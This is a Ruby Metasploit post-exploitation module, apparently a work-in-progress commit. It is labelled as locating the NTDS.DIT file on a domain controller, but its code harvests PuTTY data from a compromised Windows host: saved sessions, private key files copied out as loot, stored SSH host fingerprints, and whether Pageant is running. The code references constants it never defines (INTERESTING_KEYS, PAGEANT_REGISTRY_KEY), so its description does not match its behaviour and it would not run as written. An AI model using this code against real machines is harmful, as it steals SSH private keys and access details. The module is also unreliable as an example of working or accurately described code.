Based on putty enum module
Stuart Morgan
parent
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4a66b487de
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/post/windows/priv'
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require 'msf/core/post/common'
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require 'msf/core/post/windows/registry'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Priv
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include Msf::Post::Common
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include Msf::Post::File
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include Msf::Post::Windows::Registry
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NTDS_REGISTRY_KEY = "HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters"
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PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']
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def initialize(info = {})
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super(update_info(info,
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'Name' => "NTDS.DIT Location Module",
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'Description' => %q{
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This module will search the registry to identify the location of the NTDS.DIT file and directory.
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It is useful when looking to manually retrieve this file from a domain controller.
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},
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'License' => MSF_LICENSE,
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>']
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))
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end
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def get_saved_session_details(sessions)
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all_sessions = []
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sessions.each do |ses|
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newses = {}
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newses['Name'] = Rex::Text.uri_decode(ses)
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INTERESTING_KEYS.each do |key|
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newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s
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end
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all_sessions << newses
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report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data)
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end
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all_sessions
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end
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def display_saved_sessions_report(info)
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# Results table holds raw string data
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results_table = Rex::Ui::Text::Table.new(
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'Header' => "PuTTY Saved Sessions",
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'Indent' => 1,
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'SortIndex' => -1,
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'Columns' => ['Name'].append(INTERESTING_KEYS).flatten
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)
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info.each do |result|
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row = []
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row << result['Name']
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INTERESTING_KEYS.each do |key|
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row << result[key]
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end
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results_table << row
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end
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print_line
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print_line results_table.to_s
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stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
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print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
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end
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def display_private_key_analysis(info)
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# Results table holds raw string data
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results_table = Rex::Ui::Text::Table.new(
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'Header' => "PuTTY Private Keys",
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'Indent' => 1,
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'SortIndex' => -1,
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'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS
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)
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info.each do |result|
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row = []
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PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|
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row << result[key]
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end
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results_table << row
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end
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print_line
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print_line results_table.to_s
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# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
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# print_status("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
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end
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def get_stored_host_key_details(allkeys)
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# This hash will store (as the key) host:port pairs. This is basically a quick way of
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# getting a unique list of host:port pairs.
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all_ssh_host_keys = {}
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# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.
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rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i
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# Go through each of the stored keys found in the registry
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allkeys.each do |key|
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# Store the raw key and value in a hash to start off with
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newkey = {
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rawname: key,
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rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s
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}
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# Take the key and split up host, port and fingerprint type. If it matches, store the information
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# in the hash for later.
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split_hostporttype = rx_split_hostporttype.match(key.to_s)
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if split_hostporttype
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# Extract the host, port and key type into the hash
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newkey['host'] = split_hostporttype[:host]
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newkey['port'] = split_hostporttype[:port]
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newkey['type'] = split_hostporttype[:type]
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# Form the key
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host_port = "#{newkey['host']}:#{newkey['port']}"
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# Add it to the consolidation hash. If the same IP has different key types, append to the array
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all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?
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all_ssh_host_keys[host_port] << newkey['type']
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end
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report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data)
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end
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all_ssh_host_keys
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end
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def display_stored_host_keys_report(info)
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# Results table holds raw string data
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results_table = Rex::Ui::Text::Table.new(
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'Header' => "Stored SSH host key fingerprints",
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'Indent' => 1,
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'SortIndex' => -1,
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'Columns' => ['SSH Endpoint', 'Key Type(s)']
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)
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info.each do |key, result|
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row = []
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row << key
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row << result.join(', ')
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results_table << row
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end
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print_line
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print_line results_table.to_s
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stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Stored SSH Host Keys List")
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print_status("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
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end
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def grab_private_keys(sessions)
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private_key_summary = []
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sessions.each do |ses|
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filename = ses['PublicKeyFile'].to_s
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next if filename.empty?
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# Check whether the file exists.
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if file?(filename)
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ppk = read_file(filename)
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if ppk # Attempt to read the contents of the file
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stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)
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print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")
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# Now analyse the private key
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private_key = {}
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private_key['Name'] = ses['Name']
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private_key['UserName'] = ses['UserName']
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private_key['HostName'] = ses['HostName']
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private_key['PublicKeyFile'] = ses['PublicKeyFile']
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private_key['Type'] = ''
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private_key['Cipher'] = ''
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private_key['Comment'] = ''
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# Get type of key
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if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/
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# This is an SSH1 header
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private_key['Type'] = 'ssh1'
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private_key['Comment'] = '-'
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if ppk[33] == "\x00"
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private_key['Cipher'] = 'none'
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elsif ppk[33] == "\x03"
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private_key['Cipher'] = '3DES'
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else
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private_key['Cipher'] = '(Unrecognised)'
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end
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elsif rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s)
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# This is an SSH2 header
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private_key['Type'] = "ssh2 (#{rx[:keytype]})"
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if rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s)
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private_key['Cipher'] = rx[:cipher]
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else
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private_key['Cipher'] = '(Unrecognised)'
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end
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if rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s)
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private_key['Comment'] = rx[:comment]
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end
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end
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private_key_summary << private_key
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else
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print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
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end
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else
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print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
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end
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end
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private_key_summary
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end
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# Entry point
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def run
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# Look for saved sessions, break out if not.
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print_status("Looking for saved PuTTY sessions")
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saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
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if saved_sessions.nil? || saved_sessions.empty?
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print_error('No saved sessions found')
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else
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# Tell the user how many sessions have been found (with correct English)
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print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
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# Retrieve the saved session details & print them to the screen in a report
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all_saved_sessions = get_saved_session_details(saved_sessions)
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display_saved_sessions_report(all_saved_sessions)
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# If the private key file has been configured, retrieve it and save it to loot
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print_status("Downloading private keys...")
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private_key_info = grab_private_keys(all_saved_sessions)
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if !private_key_info.nil? && !private_key_info.empty?
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print_line
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display_private_key_analysis(private_key_info)
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end
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end
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print_line # Just for readability
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# Now search for SSH stored keys. These could be useful because it shows hosts that the user
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# has previously connected to and accepted a key from.
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print_status("Looking for previously stored SSH host key fingerprints")
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stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
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if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
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print_error('No stored SSH host keys found')
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else
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# Tell the user how many sessions have been found (with correct English)
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print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
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# Retrieve the saved session details & print them to the screen in a report
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print_status("Downloading stored key fingerprints...")
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all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
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if all_stored_keys.nil? || all_stored_keys.empty?
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print_error("No stored key fingerprints found")
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else
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display_stored_host_keys_report(all_stored_keys)
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end
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end
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print_line # Just for readability
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print_status("Looking for Pageant...")
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hwnd = client.railgun.user32.FindWindowW("Pageant", "Pageant")
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if hwnd['return']
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print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
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else
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print_error("Pageant is not running")
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end
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end
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end
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